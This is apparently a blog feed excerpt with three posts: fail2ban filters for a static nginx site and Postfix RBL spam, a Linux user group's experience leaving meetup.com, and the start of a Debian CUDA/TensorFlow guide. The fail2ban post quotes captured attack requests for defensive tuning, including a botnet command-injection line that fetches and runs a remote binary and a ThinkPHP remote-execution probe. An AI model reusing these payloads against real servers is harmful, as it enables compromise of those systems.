&lt;p&gt;I've been running fail2ban for a while but I've never verified if any of the rules were effective. Some of them aren't that effective by default -- there is &lt;strong&gt;/etc/filter.d/nginx-botsearch.conf&lt;/strong&gt; rule that is supposed to help with the bots, but I had an issue with the configuration parameter &lt;strong&gt;/etc/fail2ban/jail.conf&lt;/strong&gt; which points this rule to error log, that shows only some of the bot requests. In order to cover all the requests I want to filter I changed the definition as follows&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;[nginx-botsearch]

port     = http,https
logpath  = %(nginx_error_log)s
           %(nginx_access_log)s
maxretry = 1
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;After testing the regular expression in &lt;strong&gt;nginx-botsearc.conf&lt;/strong&gt; with the following command on my nginx access log, the results returned on 2 matches.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;# fail2ban-regex /var/log/nginx/flamy_ca.access.log /etc/fail2ban/filter.d/nginx-botsearch.conf --print-all-matched
...
lines: 288 lines, 0 ignored, 2 matched, 286 missed
[processed in 0.03 sec]

|- Matched line(s):
|  109.121.103.27 - - [14/Jan/2020:08:47:25 -0500] &amp;quot;GET /wp-login.php HTTP/1.1&amp;quot; 404 169 &amp;quot;-&amp;quot; &amp;quot;Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1&amp;quot;
|  134.209.211.69 - - [14/Jan/2020:11:03:32 -0500] &amp;quot;GET /wp-login.php HTTP/1.1&amp;quot; 404 142 &amp;quot;http://flamy.ca/wp-login.php&amp;quot; &amp;quot;Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0&amp;quot;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Just by looking at the file I found at least 30 bot requests in my log file.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="banning-log-spam-on-a-static-site"&gt;
&lt;h2&gt;Banning log spam on a static site&lt;/h2&gt;
&lt;p&gt;Since I'm running a static website, I'm able to make several assumptions about the visitors.&lt;/p&gt;
&lt;blockquote&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;I won't get any POST or PUT requests&lt;/li&gt;
&lt;li&gt;I won't get any requests containing  '.php' extensions or any mention of PHP development tools like xdebug.&lt;/li&gt;
&lt;li&gt;Legitimate users don't use &lt;a class="reference external" href="https://stackoverflow.com/questions/46254721/regex-for-detecting-complex-attack-strings-on-web-sites"&gt;complex attack strings&lt;/a&gt;. containing this sequence &lt;cite&gt;\\x&lt;/cite&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;And searching on stack overflow I found a few regex express that seem to work with the data from my log file.&lt;/p&gt;
&lt;p&gt;I put the file in &lt;strong&gt;/etc/fail2ban/filter.d/staticsite.conf&lt;/strong&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;[Definition]

failregex = ^&amp;lt;HOST&amp;gt; \- \S+ \[\] \&amp;quot;(GET|POST|HEAD) .+\.php .+$
            ^&amp;lt;HOST&amp;gt; \- \S+ \[\] \&amp;quot;(GET|POST|HEAD) .+\.php.+$
            ^&amp;lt;HOST&amp;gt; \- \S+ \[\] \&amp;quot;(GET|POST|HEAD) .+XDEBUG.+$
            ^&amp;lt;HOST&amp;gt; \- \S+ \[\] \&amp;quot;(POST|PUT).*$
            ^&amp;lt;HOST&amp;gt; .* &amp;quot;.*\\x.*&amp;quot; .*$

ignoreregex =

datepattern = {^LN-BEG}%%ExY(?P&amp;lt;_sep&amp;gt;[-/.])%%m(?P=_sep)%%d[T ]%%H:%%M:%%S(?:[.,]%%f)?(?:\s*%%z)?
              ^[^\[]*\[({DATE})
              {^LN-BEG}
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Testing the configuration catches the worst offenders.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;fail2ban-regex /var/log/nginx/flamy_ca.access.log /etc/fail2ban/filter.d/staticsite.conf --print-all-matched
...
Lines: 289 lines, 0 ignored, 29 matched, 260 missed
[processed in 0.04 sec]

- Matched line(s):
141.98.9.54 - - [14/Jan/2020:01:57:00 -0500] &amp;quot;\x03\x00\x00/*\xE0\x00\x00\x00\x00\x00Cookie: mstshash=Administr&amp;quot; 400 173 &amp;quot;-&amp;quot; &amp;quot;-&amp;quot;

172.105.89.161 - - [14/Jan/2020:02:23:29 -0500] &amp;quot;POST /ajax HTTP/1.1&amp;quot; 404 197 &amp;quot;-&amp;quot; &amp;quot;Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36&amp;quot;

198.27.80.123 - - [14/Jan/2020:04:49:17 -0500] &amp;quot;GET /wp-login.php HTTP/1.1&amp;quot; 301 185 &amp;quot;-&amp;quot; &amp;quot;Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36&amp;quot;

137.117.178.120 - - [14/Jan/2020:07:21:54 -0500] &amp;quot;POST /xmlrpc.php HTTP/1.1&amp;quot; 301 185 &amp;quot;-&amp;quot; &amp;quot;Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8&amp;quot;

137.117.178.120 - - [14/Jan/2020:07:21:54 -0500] &amp;quot;POST /blog/xmlrpc.php HTTP/1.1&amp;quot; 301 185 &amp;quot;-&amp;quot; &amp;quot;Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8&amp;quot;

109.121.103.27 - - [14/Jan/2020:08:47:25 -0500] &amp;quot;GET /wp-login.php HTTP/1.1&amp;quot; 301 185 &amp;quot;-&amp;quot; &amp;quot;Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1&amp;quot;

113.53.231.82 - - [14/Jan/2020:08:57:26 -0500] &amp;quot;GET /phpMyAdmin/scripts/setup.php HTTP/1.1&amp;quot; 301 185 &amp;quot;-&amp;quot; &amp;quot;ZmEu&amp;quot;

193.57.40.46 - - [14/Jan/2020:10:49:08 -0500] &amp;quot;GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1&amp;quot; 301 185 &amp;quot;-&amp;quot; &amp;quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36&amp;quot;

220.92.153.250 - - [14/Jan/2020:12:22:20 -0500] &amp;quot;GET /card_scan_decoder.php?No=30&amp;amp;door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear%60 HTTP/1.1&amp;quot; 400 173 &amp;quot;-&amp;quot; &amp;quot;dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)&amp;quot;

5.101.0.209 - - [14/Jan/2020:14:42:21 -0500] &amp;quot;GET /index.php?s=/Index/\x5Cthink\x5Capp/invokefunction&amp;amp;function=call_user_func_array&amp;amp;vars[0]=md5&amp;amp;vars[1][]=HelloThinkPHP HTTP/1.1&amp;quot; 404 197 &amp;quot;http://173.255.232.158:80/index.php?s=/Index/\x5Cthink\x5Capp/invokefunction&amp;amp;function=call_user_func_array&amp;amp;vars[0]=md5&amp;amp;vars[1][]=HelloThinkPHP&amp;quot; &amp;quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Finally, adding this configuration to &lt;strong&gt;/etc/fail2ban/jail.conf&lt;/strong&gt; enables fail2ban to ban IP addresses matching these patterns&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;[staticsite]
port    = http,https
logpath = %(nginx_error_log)s
          %(nginx_access_log)s
maxretry = 1
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Restarting fail2ban activates this configration&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;# service fail2ban restart
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Looking for requested files in nginx access log the next day, after the logs have been rotated, shows the most of the spam requests are no longer there.&lt;/p&gt;
&lt;img alt="List of Requested files in goAccess TUI showing overwhelmingly legitimate requests and only a single bot request coming through" class="align-center" src="/images/2020-01-14/bot_spam_gone.png" /&gt;
&lt;/div&gt;
&lt;div class="section" id="banning-mail-spam"&gt;
&lt;h2&gt;Banning mail spam&lt;/h2&gt;
&lt;p&gt;While looking at the logs nearby I noticed that someone is repeatedly trying to send email spam, getting rejected by RBL.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;NOQUEUE: reject: RCPT from unknown[185.208.211.174]: 554 5.7.1 &amp;lt;luisvela1029@gmail.com&amp;gt;: Relay access denied; from=&amp;lt;warrior@flamy.ca&amp;gt; to=&amp;lt;luisvela1029@gmail.com&amp;gt; proto=ESMTP helo=&amp;lt;WIN-U9LAUEU6VC2&amp;gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Not wanting to strain RBL providers I decided to ban the IP addresses caught by RBL. I looked at the fail2ban configuration again, it pointed to a wrong path -- &lt;strong&gt;/var/log/mail.err&lt;/strong&gt; instead where the errors show up -- &lt;strong&gt;/var/log/mail.log&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;After setting correct path to a mail log file in &lt;strong&gt;/etc/fail2ban/paths-common.conf&lt;/strong&gt; like the following&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;postfix_log = /var/log/mail.log
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;I started looking for the most generic fail2ban rejex as possible -- when the line beginning with &lt;strong&gt;'reject: RCPT'&lt;/strong&gt; shows up in the log, it is certainly spam being rejected by RBL.&lt;/p&gt;
&lt;blockquote&gt;
I have found one on &lt;a class="reference external" href="http://www.fail2ban.org/wiki/index.php/Postfix"&gt;fail2ban wiki&lt;/a&gt;. Now my postfix-rbl.conf looks like the following&lt;/blockquote&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;[INCLUDES]
before = common.conf
[Definition]
_daemon = postfix(-\w+)?/smtpd
failregex = reject: RCPT from (.*)\[&amp;lt;HOST&amp;gt;\]: 550 5.1.1
            reject: RCPT from (.*)\[&amp;lt;HOST&amp;gt;\]: 450 4.7.1
            reject: RCPT from (.*)\[&amp;lt;HOST&amp;gt;\]: 554 5.7.1
ignoreregex =
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Testing the filter shows it catching all the RBL reject messages.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;# fail2ban-regex /var/log/mail.log /etc/fail2ban/filter.d/postfix-rbl.conf  --print-all-matched
...
Jan 13 16:30:29 localhost postfix/smtpd[18889]: NOQUEUE: reject: RCPT from unknown[185.208.211.174]: 554 5.7.1
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Other than the changes above, I use existing &lt;strong&gt;[postfix-rbl]&lt;/strong&gt; configuration in &lt;strong&gt;/etc/fail2ban/jail.conf&lt;/strong&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;[postfix-rbl]

filter   = postfix[mode=rbl]
port     = smtp,465,submission
logpath  = %(postfix_log)s
backend  = %(postfix_backend)s
maxretry = 1
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="tweaking-fai2ban-behaviour"&gt;
&lt;h2&gt;Tweaking fai2ban behaviour&lt;/h2&gt;
&lt;p&gt;By default fail2ban allows 5 retries when ban filter matches before ban takes effect, the ban time is set to 10 minutes and ssh configuration has 'normal' mode.&lt;/p&gt;
&lt;p&gt;I consider these defaults to be far too lenient and since I use SSH key authentication instead of pass phrase, I don't expect have multiple attempts to logging in, I will set aggressive mode for ssh section.&lt;/p&gt;
&lt;p&gt;As a result my configuration looks like the following&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;bantime  = 5h
maxretry = 1
...
[sshd]
mode   = aggressive
port    = ssh
logpath = %(sshd_log)s
backend = %(sshd_backend)s
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;I also removed configuration blocks related to Apache and lighttpd web servers as I don't run them.&lt;/p&gt;
&lt;/div&gt;
</content><category term="self-hosting"></category><category term="sysadmin"></category><category term="fail2ban"></category><category term="static blog"></category><category term="mail"></category><category term="debian"></category></entry><entry><title>Community organizing and meetup.com</title><link href="https://flamy.ca/blog/2020-01-13-community-organizing-meetup-alternatives.html" rel="alternate"></link><published>2020-01-13T00:00:00-05:00</published><updated>2020-01-13T00:00:00-05:00</updated><author><name>Alex Volkov</name></author><id>tag:flamy.ca,2020-01-13:/blog/2020-01-13-community-organizing-meetup-alternatives.html</id><summary type="html">&lt;p&gt;&lt;em&gt;The article published on January 13, 2020 and updated on January 27.2020&lt;/em&gt;&lt;/p&gt;
&lt;div class="section" id="presentation"&gt;
&lt;h2&gt;Presentation&lt;/h2&gt;
&lt;p&gt;Here is the recording of a presentation of this blog post at a GTALUG meeting on January 14, 2020.&lt;/p&gt;
&lt;div class="youtube"&gt;&lt;iframe src="https://www.youtube.com/embed/0I880MBDAXM" width="960" height="540" allowfullscreen seamless frameBorder="0"&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;p&gt;Direct link to the video in case youtube embedding is disabled -- &lt;a class="reference external" href="https://www.youtube.com/watch?v=0I880MBDAXM"&gt;https://www.youtube.com/watch?v …&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;</summary><content type="html">&lt;p&gt;&lt;em&gt;The article published on January 13, 2020 and updated on January 27.2020&lt;/em&gt;&lt;/p&gt;
&lt;div class="section" id="presentation"&gt;
&lt;h2&gt;Presentation&lt;/h2&gt;
&lt;p&gt;Here is the recording of a presentation of this blog post at a GTALUG meeting on January 14, 2020.&lt;/p&gt;
&lt;div class="youtube"&gt;&lt;iframe src="https://www.youtube.com/embed/0I880MBDAXM" width="960" height="540" allowfullscreen seamless frameBorder="0"&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;p&gt;Direct link to the video in case youtube embedding is disabled -- &lt;a class="reference external" href="https://www.youtube.com/watch?v=0I880MBDAXM"&gt;https://www.youtube.com/watch?v=0I880MBDAXM&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="intro"&gt;
&lt;h2&gt;Intro&lt;/h2&gt;
&lt;p&gt;I'm a board member of &lt;a class="reference external" href="https://gtalug.org/"&gt;GTALUG (Greater Toronto Area Linux Users Group)&lt;/a&gt;. We hold monthly meetings and we are always looking to invite people to our events. Around Toronto meetup.com has been a de-facto tool to manage group membership for regular tech events. Last year we decided to sign up for meetup.com and see if we can get new people to show up.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="metrics"&gt;
&lt;h2&gt;Metrics&lt;/h2&gt;
&lt;p&gt;Our primary goal in determining the success or failure is two numbers: the number of people who show up at a meeting and the number of people who become members.&lt;/p&gt;
&lt;p&gt;The structure of our organization is such that our meetings are free to attend, however we have some expenses such as running our website and participating in linux-related events in our area. We cover these expenses with our membership fee, that gives a right to vote for board members &amp;amp; president, the fee is $20 CAD.&lt;/p&gt;
&lt;p&gt;Since the 6-month meetup.com organizer subscription would cost us $133 CAD we would expect to gain 13 members a year to break even.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="attendance-data"&gt;
&lt;h2&gt;Attendance Data&lt;/h2&gt;
&lt;p&gt;Unfortunately our attendance numbers are sometimes patchy and the experiment began with a rocky start. We have to cancel the first scheduled meeting due to a snowstorm.&lt;/p&gt;
&lt;p&gt;The first column of the following table shows the number of people that replied 'yes' to attend our meetup, the total number of people that showed up at our meeting, and the number of people who showed up at a meeting on the same month in 2018 as a reference.&lt;/p&gt;
&lt;table border="1" class="docutils align-center"&gt;
&lt;caption&gt;Attendance summary&lt;/caption&gt;
&lt;colgroup&gt;
&lt;col width="21%" /&gt;
&lt;col width="24%" /&gt;
&lt;col width="24%" /&gt;
&lt;col width="30%" /&gt;
&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td&gt;Month&lt;/td&gt;
&lt;td&gt;Meetup&lt;/td&gt;
&lt;td&gt;att 2019&lt;/td&gt;
&lt;td&gt;att 2018&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Mar&lt;/td&gt;
&lt;td&gt;22&lt;/td&gt;
&lt;td&gt;30&lt;/td&gt;
&lt;td&gt;18&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Apr&lt;/td&gt;
&lt;td&gt;12&lt;/td&gt;
&lt;td&gt;24&lt;/td&gt;
&lt;td&gt;17&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;May&lt;/td&gt;
&lt;td&gt;11&lt;/td&gt;
&lt;td&gt;16&lt;/td&gt;
&lt;td&gt;20&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Jun&lt;/td&gt;
&lt;td&gt;11&lt;/td&gt;
&lt;td&gt;21&lt;/td&gt;
&lt;td&gt;13&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Jul&lt;/td&gt;
&lt;td&gt;14&lt;/td&gt;
&lt;td&gt;24&lt;/td&gt;
&lt;td&gt;17&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Aug&lt;/td&gt;
&lt;td&gt;11&lt;/td&gt;
&lt;td&gt;23&lt;/td&gt;
&lt;td&gt;13&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Sep&lt;/td&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;13&lt;/td&gt;
&lt;td&gt;22&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Oct&lt;/td&gt;
&lt;td&gt;25&lt;/td&gt;
&lt;td&gt;n/a&lt;/td&gt;
&lt;td&gt;21&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Nov&lt;/td&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;n/a&lt;/td&gt;
&lt;td&gt;18&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Dec&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;16&lt;/td&gt;
&lt;td&gt;16&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Here is this data as a graph.&lt;/p&gt;
&lt;img alt="Attendance graph for meetup RSVP, total attendance for 2018 &amp;amp; 2019" class="align-center" src="/images/2020-01-10/attendance-plot.png" /&gt;
&lt;p&gt;We can't completely rely on the numbers here, because some meetings bring out more people than others, but we did get a significant bump in attendance during summer months.&lt;/p&gt;
&lt;p&gt;Unfortunately our membership didn't grow as expected. The following table sows 2018/2019 membership data.&lt;/p&gt;
&lt;table border="1" class="docutils align-center"&gt;
&lt;caption&gt;Membership&lt;/caption&gt;
&lt;colgroup&gt;
&lt;col width="50%" /&gt;
&lt;col width="50%" /&gt;
&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td&gt;2019&lt;/td&gt;
&lt;td&gt;2018&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;12&lt;/td&gt;
&lt;td&gt;15&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;I don't know how realistic it is to double our group membership in a year, but we are nowhere close to breaking even. Some numbers were more optimistic, as of this writing we had 211 members of our meetup group.&lt;/p&gt;
&lt;p&gt;Maybe if we were given some time and promoted our membership option more, the greater number of people would come to our meeting and eventually become paid members. Unfortunately we are nowhere near the numbers that we expected to have in order to justify this expense.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="disengaging"&gt;
&lt;h2&gt;Disengaging&lt;/h2&gt;
&lt;p&gt;As we were slowly heading towards our decision to disengage from meetup.com, when it has been announced that they are rolling out a different pricing model, charging $2 USD per person attending the event. From our perspective, for the same period in 2019 that would have cost us $346.5 USD as opposed to $266 CAD. In case we were succeeding in increasing the attendance, we would not be able to afford it.&lt;/p&gt;
&lt;p&gt;There's also another question with non-commercial non-profit groups -- the money spent on simply paying for the people to show up could be spent on things that bring value for the people who already attend.&lt;/p&gt;
&lt;p&gt;Since we've been members of the meetup.com group for a year, I wanted to extract emails of everyone who signed up for a group so we could contact the people to let them know that we're discontinuing our group. Meetup.com lets you download a csv file with the membership summary however the file doesn't contain email addresses.&lt;/p&gt;
&lt;p&gt;At first I considered this to be an attempt to lock us into their service, but on the second thought, I'm not sure how ethical it is to harvest email addresses. meetup.com gives us an alternative to notify every member of the group, the alternative I'm going to use.&lt;/p&gt;
&lt;p&gt;I will write a message on January 15 saying that this group will close down in a week and if any members of the group want to keep in touch they could either sign up to our announce mailing list, or gettogether.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="alternatives"&gt;
&lt;h2&gt;Alternatives&lt;/h2&gt;
&lt;p&gt;While managing our meetup.com page I have recognized the value of software that lets people interested in going to tech meetings to know that our group exists and we are organizing events. This seems like a least bad way of advertising.&lt;/p&gt;
&lt;p&gt;However, all the commercial platforms will attempt to lock in and extract value from us. The major feature of any software used in community-organizing is the people who show up, not so much the software that brings them here, and it is really up to us, as members of communities, to choose what lets our community, and communities around us to thrive.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="gettogether-community"&gt;
&lt;h2&gt;gettogether.community&lt;/h2&gt;
&lt;p&gt;In May 2019 created an event page on &lt;a class="reference external" href="https://gettogether.community"&gt;https://gettogether.community&lt;/a&gt; website and have been posting events there. We have about 10 people there as members of our group, compared to 200+ on meetup, and this is the biggest drawback of this event management system.&lt;/p&gt;
&lt;p&gt;This is also an open-source project, built with Python 3 and Django, it aims to be feature-competitive with Meetup.com, federated and cost-effective hosting for FOSS communities.&lt;/p&gt;
&lt;p&gt;Federation feature hasn't been implemented yet, but other than that, using the site lets me do most of the things I need from Meetup.com, one feature I want to mention in particular -- private groups &amp;amp; events. I wish there was an ability to ask users joining community a question or agree to follow a code of conduct.&lt;/p&gt;
&lt;p&gt;I really like the absence of spammy notifications. I find it cute that I would get an email a day before the event letting me know that there's an upcoming event. There are no communications unrelated to the events I RSVP'd.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="honorable-mentions"&gt;
&lt;h2&gt;Honorable mentions&lt;/h2&gt;
&lt;p&gt;Other open-source alternatives to meetup:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;a class="reference external" href="https://github.com/freeCodeCamp/chapter"&gt;chapter&lt;/a&gt; -- a freeCodeCamp tool made for organizing chapter events. Implemented with Node.js and docker&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="https://joinmobilizon.org/en/"&gt;Mobilizon&lt;/a&gt; -- a free federated tool to get events off facebook. Currently being developed by Framasoft, the same company that develops PeerTube.&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="https://gath.io"&gt;gath.io&lt;/a&gt; -- a quick and easy way to make shared events that respect your privacy. &lt;a class="reference external" href="https://github.com/lowercasename/gathio"&gt;soure repo&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="https://github.com/coderbyheart/open-source-meetup-alternatives"&gt;A list of open-source meetup alternatives&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
</content><category term="community organizing"></category><category term="organizing"></category><category term="meetup"></category><category term="community"></category></entry><entry><title>Setting up nvidia cuda for tensorflow in debian</title><link href="https://flamy.ca/blog/2020-01-06-nvidia-cuda-tensorflow-debian.html" rel="alternate"></link><published>2020-01-06T00:00:00-05:00</published><updated>2020-01-06T00:00:00-05:00</updated><author><name>Alex Volkov</name></author><id>tag:flamy.ca,2020-01-06:/blog/2020-01-06-nvidia-cuda-tensorflow-debian.html</id><summary type="html">&lt;div class="section" id="intro"&gt;
&lt;h2&gt;Intro&lt;/h2&gt;
&lt;p&gt;In this article I describe how to set up supported Nvidia hardware to work with debian, by the end you should be able to run a tensorflow tutorial on the video card. I ran this tutorial on Nvidia GTX 1060 6GB.&lt;/p&gt;
&lt;p&gt;This tutorial uses CUDA kit packaged by Debian …&lt;/p&gt;&lt;/div&gt;</summary><content type="html">&lt;div class="section" id="intro"&gt;
&lt;h2&gt;Intro&lt;/h2&gt;
&lt;p&gt;In this article I describe how to set up supported Nvidia hardware to work with debian, by the end you should be able to run a tensorflow tutorial on the video card. I ran this tutorial on Nvidia GTX 1060 6GB.&lt;/p&gt;
&lt;p&gt;This tutorial uses CUDA kit packaged by Debian project and not the one provided by Nvidia for Ubuntu&lt;/p&gt;
&lt;p&gt;This is a part of the talk I gave at &lt;a class="reference external" href="https://gtalug.org/meeting/2019-08/"&gt;August 2019 GTALUG&lt;/a&gt; meeting. I've been coming back to the video for the various bits of settings and perhaps having this written down would be more useful.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="requirements"&gt;
&lt;h2&gt;Requirements&lt;/h2&gt;
&lt;p&gt;The following is needed to successfully run tensorflow-gpu. See &lt;a class="reference external" href="https://www.tensorflow.org/install/gpu#software_requirements"&gt;tensorflow website&lt;/a&gt; for updated list &amp;amp; details.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;NVIDIA GPU drivers&lt;/li&gt;
&lt;li&gt;CUDA toolkit&lt;/li&gt;
&lt;li&gt;CUPTI ships with CUDA toolkit&lt;/li&gt;
&lt;li&gt;cuDNN SDK&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class="section" id="library-installation"&gt;
&lt;h2&gt;Library installation&lt;/h2&gt;
&lt;p&gt;Add non-free repository to your &lt;strong&gt;/etc/apt/sources.list&lt;/strong&gt; if you haven't already&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;deb http://ftp.ca.debian.org/debian/ buster main contrib non-free
deb-src http://ftp.ca.debian.org/debian/ buster main contrib non-free
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Run apt update &amp;amp; upgrade as a superuser&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;# apt update
# apt upgrade
&lt;/pre&gt;&lt;/div&gt;
&lt;div class="section" id="install-cuda-package"&gt;
&lt;h3&gt;Install CUDA package&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;# apt install nvidia-cuda-dev nvidia-cuda-toolkit  nvidia-driver
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="install-cuddn-package"&gt;
&lt;h3&gt;Install CUDDN package&lt;/h3&gt;
&lt;p&gt;Unfortunately the license for the package doesn't allow it to be distributed by the third-party, like debian repos, so you will have to register fill out survey on nvidia website &lt;a class="reference external" href="https://developer.nvidia.com/cudnn"&gt;https://developer.nvidia.com/cudnn&lt;/a&gt; in order to download the package.&lt;/p&gt;
&lt;p&gt;The discussion on detailed issues preventing packaging this can be found at this page -- &lt;a class="reference external" href="https://bugs.debian.org/862524"&gt;https://bugs.debian.org/862524&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Once downloaded, install the package with the following command&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;# dpkg -i libcudnn6_6.0.20-1_cuda8.0_amd64.deb
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="tensorflow-installation"&gt;
&lt;h2&gt;Tensorflow installation&lt;/h2&gt;
&lt;p&gt;Create a Python 3 virtual environment and install &lt;strong&gt;tensorflow&lt;/strong&gt; and &lt;strong&gt;tensorflow-gpu&lt;/strong&gt; packages with the following command&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ pip install tensorflow tensorflow-gpu
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Clone tensorflow models tutorial and attempt to run &lt;strong&gt;classify_imagenet.py&lt;/strong&gt; script&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ git clone https://github.com/tensorflow/models.git
$ cd models/tutorials/image/imagenet
$ python3 classify_image.py
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;I theory, at this point the classification script should work, however in practice it doesn't.&lt;/p&gt;
&lt;p&gt;You will be greeted with errors related to missing libraries. These errors, however, are fairly straightforward to fix -- some of the library files are in place that tensorflow package doesn't expect. This can be mitigated by creating several symlinks, as described in the next section.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="library-troubleshooting"&gt;
&lt;h2&gt;Library troubleshooting&lt;/h2&gt;
&lt;p&gt;The first error running &lt;strong&gt;classify_image.py&lt;/strong&gt; will throw the following:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;Could not dlopen library &amp;#39;libcudart.so.10.0&amp;#39;;
